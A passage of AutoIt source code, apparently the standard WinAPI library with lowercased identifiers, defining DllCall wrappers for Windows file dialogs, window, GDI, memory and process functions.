$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
For $x = 1 To $ipathlen
If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
DllStructSetData($tpath, "Path", "|", $x)
$inulls += 1
Else
$inulls = 0
EndIf
If $inulls = 2 Then ExitLoop
Next
DllStructSetData($tpath, "Path", Chr(0), $x - 1)
$afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(DllStructGetData($tpath, "Path"), "|")
ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
$afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
Else
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndIf
EndFunc
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
If @error Then Return SetError(@error, @extended, False)
$ibytes = $aresult[3]
Return $aresult[0]
EndFunc
Func _winapi_getparent($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocessaffinitymask($hprocess)
Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $amask[3]
$amask[0] = True
$amask[1] = $aresult[2]
$amask[2] = $aresult[3]
Return $amask
EndFunc
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
If @error Then Return SetError(@error, @extended, 0)
Return $tsize
EndFunc
Func _winapi_gettextmetrics($hdc)
Local $ttextmetric = DllStructCreate($tagtextmetric)
Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ret[0] Then Return SetError(-1, 0, 0)
Return $ttextmetric
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
If @error Then Return SetError(@error, @extended, 0)
Return $twindowplacement
EndFunc
Func _winapi_getwindowrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getwindowrgn($hwnd, $hrgn)
Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowtext($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$ipid = $aresult[2]
Return $aresult[0]
EndFunc
Func _winapi_getwindowwidth($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
$ix = DllStructGetData($tpoint, "X")
$iy = DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_globalmemorystatus()
Local $tmem = DllStructCreate($tagmemorystatusex)
Local $imem = DllStructGetSize($tmem)
DllStructSetData($tmem, 1, $imem)
DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
If @error Then Return SetError(@error, @extended, 0)
Local $amem[7]
$amem[0] = DllStructGetData($tmem, 2)
$amem[1] = DllStructGetData($tmem, 3)
$amem[2] = DllStructGetData($tmem, 4)
$amem[3] = DllStructGetData($tmem, 5)
$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, $tguid)
If @error Then Return SetError(@error, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__gainprocess_winapi[$ii][0] Then
If $__gainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $iprocessid
_winapi_getwindowthreadprocessid($hwnd, $iprocessid)
Local $icount = $__gainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
$__gainprocess_winapi[0][0] = $icount
$__gainprocess_winapi[$icount][0] = $hwnd
$__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
Return $__gainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
Next
Return False
EndFunc
Func _winapi_iswindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_iswindowvisible($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_lineto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loadbitmap($hinstance, $sbitmap)
Local $sbitmaptype = "int"
If IsString($sbitmap) Then $sbitmaptype = "wstr"
Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
Local $aresult, $simagetype = "int"
If IsString($simage) Then $simagetype = "wstr"
$aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibrary($sfilename)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($lgidprimary, $lgidsub)
Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
Func _winapi_makelcid($lgid, $srtid)
Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($lodword, $hidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
DllStructSetData($tdwords, 1, $lodword)
DllStructSetData($tdwords, 2, $hidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound
Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & " ")
EndFunc
Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_moveto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
Local $stexttype = "str"
If NOT IsString($stext) Then $stexttype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $iout = $aresult[0]
Local $tout = DllStructCreate("wchar[" & $iout & "]")
$aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
If @error Then Return SetError(@error, @extended, 0)
If $bretstring Then Return DllStructGetData($tout, 1)
Return $tout
EndFunc
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $fdebugpriv Then Return 0
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
If @error Then Return SetError(@error, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $ilasterror = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
$ierror = @error
$ilasterror = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error
$ilasterror = @extended
EndIf
EndIf
_winapi_closehandle($htoken)
Return SetError($ierror, $ilasterror, $iret)
EndFunc
Func __winapi_parsefiledialogpath($spath)
Local $afiles[3]
$afiles[0] = 2
Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
$afiles[1] = $stemp
$afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
Return $afiles
EndFunc
Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
Local $iextracount = 0
If IsString($aextrapaths) Then
If StringLen($aextrapaths) Then
$aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
$iextracount = UBound($aextrapaths, 1)
EndIf
ElseIf IsArray($aextrapaths) Then
$iextracount = UBound($aextrapaths)
EndIf
Local $tpaths, $tpathptrs
If $iextracount Then
Local $szstruct = ""
For $path In $aextrapaths
$szstruct &= "wchar[" & StringLen($path) + 1 & "];"
Next
$tpaths = DllStructCreate($szstruct)
$tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
For $i = 1 To $iextracount
DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
Next
DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
EndIf
Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
If @error Then Return SetError(@error, @extended, False)
If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
Return $aresult[1]
EndFunc
Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
Local $ix1 = DllStructGetData($trect, "Left")
Local $iy1 = DllStructGetData($trect, "Top")
Local $ix2 = DllStructGetData($trect, "Right")
Local $iy2 = DllStructGetData($trect, "Bottom")
If $fcenter Then
$ix1 = $ix1 + (($ix2 - $ix1) / 2)
$iy1 = $iy1 + (($iy2 - $iy1) / 2)
EndIf
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $ix1)
DllStructSetData($tpoint, "Y", $iy1)
Return $tpoint
EndFunc
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_primarylangid($lgid)
Return BitAND($lgid, 1023)
EndFunc
Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
If @error Then Return SetError(1, @extended, False)
Return NOT ($aresult[0] = 0)
EndFunc
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_rectisempty(ByRef $trect)
Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
EndFunc
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_registerwindowmessage($smessage)
Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_releasecapture()
Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_releasedc($hwnd, $hdc)
Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_selectobject($hdc, $hgdiobj)
Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setbkcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setbkmode($hdc, $ibkmode)
Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcapture($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcursor($hcursor)
Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setdefaultprinter($sprinter)
Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setendoffile($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setevent($hevent)
Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setfocus($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
_sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
EndFunc
Func _winapi_sethandleinformation($hobject, $imask, $iflags)
Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
If NOT $iscolorref Then
$i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
EndIf
Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setparent($hwndchild, $hwndparent)
Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setprocessaffinitymask($hprocess, $imask)
Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setsyscolors($velements, $vcolors)
Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
Local $ielementnum
If NOT $iscarray AND NOT $isearray Then
$ielementnum = 1
ElseIf $iscarray OR $isearray Then
If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
